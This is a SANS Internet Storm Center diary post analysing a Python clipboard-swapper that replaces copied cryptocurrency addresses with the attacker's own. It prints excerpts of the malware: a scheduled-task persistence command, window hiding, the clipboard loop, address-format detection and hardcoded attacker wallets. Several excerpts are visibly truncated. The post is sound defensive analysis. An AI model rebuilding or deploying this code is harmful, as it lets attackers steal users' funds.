Threat Level: green Handler on Duty: Rob VandenBrink

SANS ISC: Multi-Cryptocurrency Clipboard Swapper - SANS Internet Storm Center SANS ISC InfoSec Forums

Watch ISC TV. Great for NOCs, SOCs and Living Rooms:

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Multi-Cryptocurrency Clipboard Swapper

Last week, I was in Amsterdam to attend the FIRST TC 2022 where I talked about Python used for malicious purposes in the Windows ecosystem[1]. Amongst multiple examples, I mentioned a sample of Python code that tries to steal cryptocurrencies. It’s not the first time that I found a piece of code that monitors the clipboard and swap the BTC address found with the attacker's one. This time, the script that I found supports a lot of cryptocurrencies!

The file has a very low VT score (3/57)[2] (SHA256: 90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c).

First finding, the script implements persistence via the creation of a scheduled task:

def create_schtask(dir, file):
        call(f'schtasks /create /sc MINUTE /mo 1 /tn "System" /k /F /tr "{dir}\\{file}"', shell=True)

Python scripts on Windows can interact with the GUI (though the win32gui library). The script hides its window:

frgrnd_wndw = win32gui.GetForegroundWindow();
wndw_title  = win32gui.GetWindowText(frgrnd_wndw);
if wndw_title.endswith("host.exe"):
    win32gui.ShowWindow(frgrnd_wndw, win32con.SW_HIDE);

Now, let’s focus on the core feature, the interaction with the clipboard:

while True:
    network = Network()
        data: str = str(GetClipboardData())
        data = ''

    detected_network = get_detect_network(data)
    if detected_network == None:
        new_address = network.get_random_address(detected_network)
        if data in network.addresses[detected_network]:

The clipboard content is read (into the variable “data”). This variable passed to get_detect_network() to verify the presence of a cryptocurrency address:

def get_detect_network(data: str) -> str or None:
    if (data.startswith('1') or data.startswith('bc1')):
        detected_network = 'bitcoin'
    elif data.startswith('0x'):
        detected_network = 'erc20_and_bep20'
    elif len(data) == 44:
        detected_network = 'solana'
    elif (len(data) == 34) and (data.startswith('T')):
        detected_network = 'tron'
    elif data.startswith('bnb1'):
        detected_network = 'bep2'
    elif len(data) == 43 and data.startswith('ltc1') or \
         len(data) == 34 and (data.startswith('M') or data.startswith('L')):
        detected_network = 'litecoin'
    elif data.startswith('r'):
        detected_network = 'xrp'
    elif data.startswith('q'):
        detected_network = 'bitcoin_cash'
    elif len(data) >= 64:
        detected_network = 'near'
    elif data.startswith('X'):
        detected_network = 'dash'
    elif data.startswith('t'):
        detected_network = 'zcash'
    elif data.startswith('D'):
        detected_network = 'dogecoin'
    elif data.startswith('terra'):
        detected_network = 'terra'
    elif data.startswith('cosmos'):
        detected_network = 'cosmos'
        detected_network = None
    return detected_network

As you can see, many currencies are supported but the detection mechanism does not look very powerful and is prone to many false positives! The script looks like a proof-of-concept for me...

The script had many addresses hardcoded, with multiple values per network:

addresses = {
    'bitcoin': ['bc1q4skmuprct25drfzrujdev3g2y5a4zsqs0fvvm2', 
    'solana': ['AZEBYz4bki8CJ9ANj5y8Hnmzvzpdi9Kfg3a27GZyQ9Fx', 
    'tron': ['TBVwvr6gqxJNwp91FVcsVJyaePCGY6mDMG', 
    'erc20_and_bep20': ['0xEBBc57A99ba16b52d69e11e6E07052ABA3Ff90a0', 
    'bep2': ['bnb1ydfyhhsyksz4quvltds8qsdxdqfkpwjyd9a23w', 
    'litecoin': ['ltc1qh0clxt5t3ydmdpteyc83s77p8yv4d6f245uc57', 
    'xrp': ['rDhqftgvEaGVYvCeGE6DNipja9DHZpKz1', 
    'bitcoin_cash': ['qqzc2wqrxfj4vn8cpuqzvefl3lrfhw9yqs9lndnpku', 
    'near': ['04fbb5a231c9791f4868da4973f2f1ed0f358a4c99727534a961a0a80581a055',
    'dash': ['XwxkG8sQhqK7idZyrPp5zu5wdTii9vF9vT', 
    'zcash': ['t1PuPdnnJmzqgctQVcdqkmqPCaR5Gsccegk', 
    'dogecoin': ['D93zyaMn37Eq9RvUeaN8tKaUC1ocLNvncn', 
    'terra': ['terra1sgn3gkdesfx57sq04dpngh4yvncahdxk6ljz02', 
    'cosmos': ['cosmos1pf05klhcy9e540t6y9as25qxn85l2azzkw7mcg', 

Be careful when copying/pasting cryptocurrency addresses (or any sensitive data). By default, many desktop virtualization solutions enable clipboard sharing by default and are able to access the host clipboard.


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS London June 2022


687 Posts
ISC Handler
Apr 21st 2022

Sign Up for Free or Log In to start participating in the conversation!